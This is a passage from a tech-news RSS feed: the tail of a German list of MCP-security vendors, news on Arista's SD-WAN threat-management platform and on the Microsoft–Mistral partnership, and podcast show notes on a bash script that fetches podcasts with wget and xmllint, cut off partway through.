<li>Daneben hat auch <strong>Broadcom</strong> MCP-Sicherheitsfunktionen für VMware Cloud Foundation <a href="https://www.broadcom.com/company/news/product-releases/63401" target="_blank" rel="noreferrer noopener">angekündigt</a>, die künftig mehr Sicherheit für agentenbasierte Workflows gewährleisten sollen.</li>
</ul>



<p class="wp-block-paragraph"><strong>Startups</strong></p>



<ul class="wp-block-list">
<li>Das API-Security-Startup <strong>Akto</strong> hat eine <a href="https://www.akto.io/mcp-security" target="_blank" rel="noreferrer noopener">MCP-Security-Plattform</a> im Angebot. Sie umfasst ein Discovery Tool, um MCP-Server in Unternehmensumgebungen zu identifizieren, Security-Testing-Werkzeuge sowie Monitoring- und Threat-Detection-Funktionen.</li>



<li><strong>Invariant Labs</strong> bietet mit <a href="https://github.com/invariantlabs-ai/mcp-scan" target="_blank" rel="noreferrer noopener">MCP-Scan</a> ein quelloffenes Tool, das die statische Analyse und Echtzeitüberwachung von MCP-Servern ermöglicht. Mit <a href="https://invariantlabs.ai/blog/guardrails" target="_blank" rel="noreferrer noopener">Guardrails</a> hat das Startup auch ein kommerzielles Produkt im Angebot. Dabei handelt es sich um einen Proxy. Der zwischen KI-Agenten und MCP-Servern sitzt und vor Security-Risiken schützen soll. Das Tool befähigt Anwender außerdem dazu, Richtlinien aufzusetzen.</li>



<li><strong>Highflame </strong>(vormals Javelin) <a href="https://www.highflame.com/" target="_blank" rel="noreferrer noopener">addressiert</a> ebenfalls das Thema MCP-Sicherheit. Etwa mit Funktionen wie MCP-Server auf Risiken zu scannen oder Datenanfragen zu überprüfen.  </li>



<li><strong>Lasso Security</strong> stellt ein Open-Source-<a href="https://github.com/lasso-security/mcp-gateway" target="_blank" rel="noreferrer noopener">MCP-Gateway</a> zur Verfügung, das die Konfiguration und das Lebenszyklusmanagement von MCP-Servern ermöglicht und Messages um sensible Informationen bereinigt.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.csoonline.com/article/4087656/what-cisos-need-to-know-about-new-tools-for-securing-mcp-servers.html" target="_blank">im Original</a> bei unser Schwesterpublikation CSOonline.com erschienen.</strong></p>
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<title><![CDATA[Arista debuts unified SD-WAN edge platform]]></title>
<description><![CDATA[Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.



The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platfor...]]></description>
<link>https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.</p>



<p class="wp-block-paragraph">The company announced AI-driven <a href="https://edge.arista.com/edge-threat-management/">Edge Threat Management</a> (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation. </p>



<p class="wp-block-paragraph">ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.</p>



<p class="wp-block-paragraph">“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote <a href="https://www.linkedin.com/in/brendangibbs1/">Brendan Gibbs</a>, Arista’s vice president, AI, routing, and switching platforms, in a <a href="https://blogs.arista.com/blog/the-unified-edge-for-a-secure-branch">blog post</a> about the new platform.</p>



<p class="wp-block-paragraph">Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. </p>



<p class="wp-block-paragraph">“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.</p>



<p class="wp-block-paragraph">ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">stated</a>.</p>



<p class="wp-block-paragraph">ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.</p>



<p class="wp-block-paragraph">VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.</p>



<p class="wp-block-paragraph">In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-NDR-Datasheet.pdf">Arista Network Detection and Response</a> and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">vendor stated</a>.</p>



<p class="wp-block-paragraph">Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.</p>



<p class="wp-block-paragraph">Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”</p>



<p class="wp-block-paragraph">ETM is a significant addition to the Arista VeloCloud portfolio. Arista <a href="https://www.networkworld.com/article/4016270/arista-buys-velocloud-to-reboot-sd-wans-amid-ai-infrastructure-shift.html">bought</a> the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s <a href="https://www.networkworld.com/article/4111354/arista-rides-ai-wave-but-battle-for-campus-networks-looms.html">stated plans to expand beyond its data center networking roots</a> and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.</p>



<p class="wp-block-paragraph">In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published <a href="https://www.delloro.com/news/sase-1q-2026-revenue-climbs-21-percent-to-over-3-b-driven-by-ai-governance/">report</a> from Dell’Oro Group.</p>



<p class="wp-block-paragraph">“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.</p>



<p class="wp-block-paragraph">“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.</p>



<p class="wp-block-paragraph">ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.</p>
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<title><![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]></title>
<description><![CDATA[Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 



The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment fro...]]></description>
<link>https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</guid>
<pubDate>Wed, 22 Jul 2026 04:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. </p>



<p class="wp-block-paragraph">The companies have announced a “<a href="https://news.microsoft.com/source/2026/07/21/microsoft-and-mistral-expand-strategic-partnership-to-give-enterprises-and-regulated-industries-frontier-ai-they-can-control/" target="_blank" rel="noreferrer noopener">significant expansion</a>” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.</p>



<p class="wp-block-paragraph">The partnership between the tech giant and the <a href="https://www.infoworld.com/article/4187526/is-mistral-late-or-savvy.html" target="_blank">three-year-old French startup</a> might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.</p>



<p class="wp-block-paragraph">“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”</p>



<p class="wp-block-paragraph">“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.</p>



<h2 class="wp-block-heading">Expands model access, sovereign cloud capabilities</h2>



<p class="wp-block-paragraph">As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.</p>



<p class="wp-block-paragraph">Mistral CEO and co-founder <a href="https://www.computerworld.com/article/4134107/mistral-ceo-over-half-of-companies-software-can-be-replaced-by-ai.html" target="_blank">Arthur Mensch</a> described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”</p>



<p class="wp-block-paragraph">In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.</p>



<p class="wp-block-paragraph">The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.</p>



<p class="wp-block-paragraph">Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and <a href="https://www.infoworld.com/article/4108044/whats-next-for-azure-infrastructure.html" target="_blank">Azure Local</a>, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.</p>



<p class="wp-block-paragraph">“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said <a href="https://www.linkedin.com/in/bradsmi" target="_blank" rel="noreferrer noopener">Brad Smith</a>, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its <a href="https://blogs.microsoft.com/on-the-issues/2025/04/30/european-digital-commitments/" target="_blank" rel="noreferrer noopener">European digital commitments</a> and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.</p>



<h2 class="wp-block-heading">Enterprise credibility</h2>



<p class="wp-block-paragraph">Gartner distinguished VP analyst <a href="https://www.gartner.com/en/experts/arun-chandrasekaran" target="_blank" rel="noreferrer noopener">Arun Chandrasekaran</a> noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”</p>



<p class="wp-block-paragraph">He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.</p>



<p class="wp-block-paragraph">Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.</p>



<p class="wp-block-paragraph">For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued <a href="https://www.cio.com/article/4198030/7-issues-impacting-ai-strategies-and-how-cios-should-respond.html" target="_blank">AI platform development</a>, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.</p>



<p class="wp-block-paragraph">“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.</p>



<h2 class="wp-block-heading">A complementary partnership</h2>



<p class="wp-block-paragraph">Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.</p>



<p class="wp-block-paragraph">One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”</p>



<p class="wp-block-paragraph">Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”</p>



<p class="wp-block-paragraph">Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/bill-wong" target="_blank" rel="noreferrer noopener">Bill Wong</a>, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”</p>



<p class="wp-block-paragraph">“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.</p>



<p class="wp-block-paragraph">Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.</p>



<p class="wp-block-paragraph">Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”</p>



<p class="wp-block-paragraph">Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you d...]]></description>
<link>https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:46 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. </p>

<p>
I will illustrate this using a bash script that can be used to download HPR podcasts.</p>

<p>
Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.</p>

<p>
It is the principles that are discussed here that are important, rather than the implementation. </p>

<p>

</p>

<p>
02</p>

<p>
I realize that there are already a number of different podcast download programs available,  including at least one written in bash. </p>

<p>
However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.</p>

<p>
If so, then I hope the following is of some use to you.</p>

<p>
If not, then you may still find some of the things discussed here to still be of interest.</p>

<p>

</p>

<p>
Some of the subjects I cover include</p>

<p>
wget to a user defined file name.</p>

<p>
parsing xml with xmllint.</p>

<p>
using inotifywait to trigger an action when a file is created or modified.</p>

<p>
using notify-send to send a message to the notification area.</p>

<p>
and</p>

<p>
a way of allowing a cron job to send a message to the user interface.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
03 Background</p>

<p>

</p>

<p>
There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. </p>

<p>
Apparently some people have been experiencing problems with the way the episode URLs are structured. </p>

<p>

</p>

<p>
04</p>

<p>
I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.</p>

<p>
Instead, I will present a bash script that I have written which can be used to download HPR podcasts.</p>

<p>
This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.</p>

<p>
This is a simplified version of a script that I have used for years to download HPR and other podcasts.</p>

<p>

</p>

<p>
05</p>

<p>
I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.</p>

<p>
I will instead describe what each section does and why I chose to do things that way.</p>

<p>
Perhaps other people can offer suggestions of better ways to do things.</p>

<p>
I will post the full bash script in the show notes.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
06 Fetching Podcasts</p>

<p>

</p>

<p>
The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.</p>

<p>
RSS is a very long established and widely supported mechanism for this and other purposes.</p>

<p>
An RSS feed is basically an XML document which can be accessed over HTTP.</p>

<p>
These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.</p>

<p>

</p>

<p>
07</p>

<p>
Basically what we need to do is the following</p>

<p>

</p>

<p>
• Download the RSS XML document.</p>

<p>
• Extract the URL links to the audio files.</p>

<p>
• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.</p>

<p>

</p>

<p>
08</p>

<p>
• Make a list of the new URLs.</p>

<p>
• Go through this list of new URLs and download each of the new audio files.</p>

<p>
• Check to see that we actually received the new audio file.</p>

<p>
• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs</p>

<p>

</p>

<p>
09</p>

<p>
In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.</p>

<p>
We may wish to receive a notification of when a new podcast has arrived however.</p>

<p>
We would probably also wish to receive notification of any errors or failures.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
10 Fetching Podcasts - The Preliminaries</p>

<p>

</p>

<p>
Our desire to be able to run the script automatically imposes some requirements on our solution.</p>

<p>
To schedule the script we will use cron.</p>

<p>
Cron is a Linux facility to run scripts on a schedule.</p>

<p>

</p>

<p>
11</p>

<p>
One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.</p>

<p>

</p>

<p>
12</p>

<p>
So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.</p>

<p>

</p>

<p>
I will skip over the details of these, although I may make reference to them later.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
13 Get the RSS Data</p>

<p>

</p>

<p>
The first thing of real substance to do is to fetch the current RSS feed data.</p>

<p>
I have put this in a bash function called getrssurldata</p>

<p>

</p>

<p>
The contents of this function are a one liner, but with a number of elements chained together through pipes.</p>

<p>

</p>

<p>
14 Downloading the RSS XML Document</p>

<p>
• First we use wget, which is a standard command on most Linux distros.</p>

<p>
• We specify four things.</p>

<p>
• First we set a timeout. I have chosen 20 seconds.</p>

<p>
• Next we set the retry limit. I have chosen 3.</p>

<p>

</p>

<p>
15</p>

<p>
• Then we specify that the output of wget is sent to stdout rather than saved as a file.</p>

<p>
• This is done by using the -O option followed by a space and then a dash.</p>

<p>
• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.</p>

<p>
• Then we specify the URL of the HPR RSS feed.</p>

<p>

</p>

<p>
16 Contents of the XML Document</p>

<p>
This gives us the HPR RSS XML document. </p>

<p>
There are about 5,000 lines in this RSS document.</p>

<p>
Most of those lines are the show notes which are also included in the feed.</p>

<p>

</p>

<p>
17 Extracting the Podcast Episode URLs</p>

<p>
There are only 10 lines of the document that contain information that we are interested in however.</p>

<p>
These lines are enclosed in "enclosure" XML tags. </p>

<p>
We just need to find those lines and separate out the URLs</p>

<p>

</p>

<p>
18 Standard Command Line Tools</p>

<p>
There are two ways that we can do this.</p>

<p>
One is to use a combination of grep, sed, and cut.</p>

<p>
Grep can find the lines containing the enclosure tags.</p>

<p>
Sed and cut can extract the URL from the surrounding extraneous data. </p>

<p>

</p>

<p>
19</p>

<p>
However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.</p>

<p>
This may be an acceptable problem in practical terms, but we can do better.</p>

<p>

</p>

<p>
20 Using an XML Parser</p>

<p>
The other method is to actually parse the XML document.</p>

<p>
there are at least two command line XML parsers that I am aware of.</p>

<p>
These are "xmllint", and "xlmstarlet".</p>

<p>
I have used xmllint in this example.</p>

<p>
I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.</p>

<p>

</p>

<p>
21</p>

<p>
I won't give a detailed explanation of all the things that xmllint can do.</p>

<p>
It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.</p>

<p>
Describing everything it can do would be at least one episode in itself. </p>

<p>
I will instead just give the particular command used and explain each element of it.</p>

<p>

</p>

<p>
22</p>

<p>
In this example assume that we are piping the output of wget directly into xmllint.</p>

<p>
The complete command is</p>

<p>

</p>

<p>
xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2</p>

<p>

</p>

<p>
23</p>

<p>
In this example,</p>

<p>
xmllint is the name of the command.</p>

<p>
--xpath tells it to parse the document according to the string which follows.</p>

<p>
"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.</p>

<p>
The "-" which follows tells it to look for input from stdin rather than from a file.</p>

<p>

</p>

<p>
24</p>

<p>
The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.</p>

<p>
To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.</p>

<p>
We then save the result in a temporary file.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
25 Finding the New Episodes</p>

<p>

</p>

<p>
Next we wish to find the new podcast episodes.</p>

<p>
Each HPR episode is identified by a unique URL.</p>

<p>
This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.</p>

<p>

</p>

<p>
https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3</p>

<p>

</p>

<p>
26</p>

<p>
The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.</p>

<p>

</p>

<p>
27</p>

<p>
This is simple, but has a drawback.</p>

<p>
Some podcasts occasionally change distributors.</p>

<p>
When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.</p>

<p>

</p>

<p>
28</p>

<p>
With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.</p>

<p>

</p>

<p>
I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.</p>

<p>
Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.</p>

<p>
It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
29 Downloading the New Podcasts</p>

<p>

</p>

<p>
We should now have a list of URLs for the new podcasts we do not already have. </p>

<p>
Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.</p>

<p>

</p>

<p>
Therefore, we need to iterate through the file of new podcast URLs and download each one.</p>

<p>

</p>

<p>
30</p>

<p>
Before we do that however, we should check to see if there is in fact anything new to download.</p>

<p>
To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.</p>

<p>

</p>

<p>
31</p>

<p>
If this number is zero, there is nothing to download, we can skip the download step. </p>

<p>
As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.</p>

<p>
This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.</p>

<p>
If we do exceed our download limit, then we need to log an error and skip downloading. </p>

<p>

</p>

<p>
32</p>

<p>
Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.</p>

<p>
We can do that using the "basename" command.</p>

<p>
We will use this to specify the name that we use when we save the audio file. </p>

<p>

</p>

<p>
33</p>

<p>
HPR has a very well formed file name. </p>

<p>
Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. </p>

<p>

</p>

<p>
34</p>

<p>
Next we download the audio file using wget.</p>

<p>

</p>

<p>
This is similar to how we downloaded the RSS feed, but with a few changes.</p>

<p>
One is that I have increased the timeout to 90 seconds. </p>

<p>
This may not have been necessary, but seemed like a good idea.</p>

<p>

</p>

<p>
35</p>

<p>
The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.</p>

<p>

</p>

<p>
The third is that we specify a destination directory using the -P option. </p>

<p>

</p>

<p>
36</p>

<p>
After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.</p>

<p>
We did this using an "if" statement with the "-s" option.</p>

<p>

</p>

<p>
If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.</p>

<p>

</p>

<p>
37</p>

<p>
If the file was not present, or was zero length, we output an error message to an error log. </p>

<p>
I will come back to this point later.</p>

<p>

</p>

<p>
38</p>

<p>
Next, if there is more that one podcast to download we sleep for 3 seconds. </p>

<p>
While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..</p>

<p>

</p>

<p>
39</p>

<p>
After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.</p>

<p>
While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.</p>

<p>
This limit should be several times bigger than the number of files in the RSS feed. </p>

<p>
In this case I selected 50. </p>

<p>

</p>

<p>
40</p>

<p>
Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.</p>

<p>

</p>

<p>
We have now successfully downloaded at least one HPR podcast.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
41 Notify the User of Events</p>

<p>

</p>

<p>
It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.</p>

<p>

</p>

<p>
One of the limitations of cron jobs is that they cannot access the user interface.</p>

<p>
This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.</p>

<p>

</p>

<p>
42 inotifywait</p>

<p>
The solution to this is to use "inotifywait" to monitor particular files and directories for changes.</p>

<p>

</p>

<p>
The man page for inotifywait states the following - </p>

<p>

</p>

<p>
43</p>

<p>
inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
44</p>

<p>
In many Linux distros, inotifywait is provided by the "inotify-tools" package.</p>

<p>

</p>

<p>
I won't go over all the features of inotifywait. </p>

<p>
Instead, I will just describe how to use it for our purposes here.</p>

<p>

</p>

<p>
45 inotifywait Modes</p>

<p>

</p>

<p>
I should point out first though that inotifywait operates in two different modes.</p>

<p>
In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.</p>

<p>
In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.</p>

<p>
I will use the default mode here.</p>

<p>

</p>

<p>
46</p>

<p>
The man page for inotifywait provides a simple example that we could copy and modify for our purposes.</p>

<p>
A great many examples that you  will find are based on this example.</p>

<p>
However, it doesn't quite do what we want, so we need to change a few things.</p>

<p>

</p>

<p>
47 podfetchnotify</p>

<p>
The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.</p>

<p>
I will call this "podfetchnotify".</p>

<p>
The complete scripts are in the show notes, I will just provide a brief description here.</p>

<p>

</p>

<p>
48 Setting Up Event Watches Using  inotifywait</p>

<p>
The script is enclosed in a while loop which run indefinitely.</p>

<p>
In the first line inside the while loop, we call inotifywait.</p>

<p>
inotifywait will then block until the event it is told to look for occurs.</p>

<p>
In short, execution of the script will wait there until an event occurs.</p>

<p>

</p>

<p>
49</p>

<p>
The names of the events are listed in the man file.</p>

<p>
In this case we are looking for "modify", "create", and "moved_to".</p>

<p>
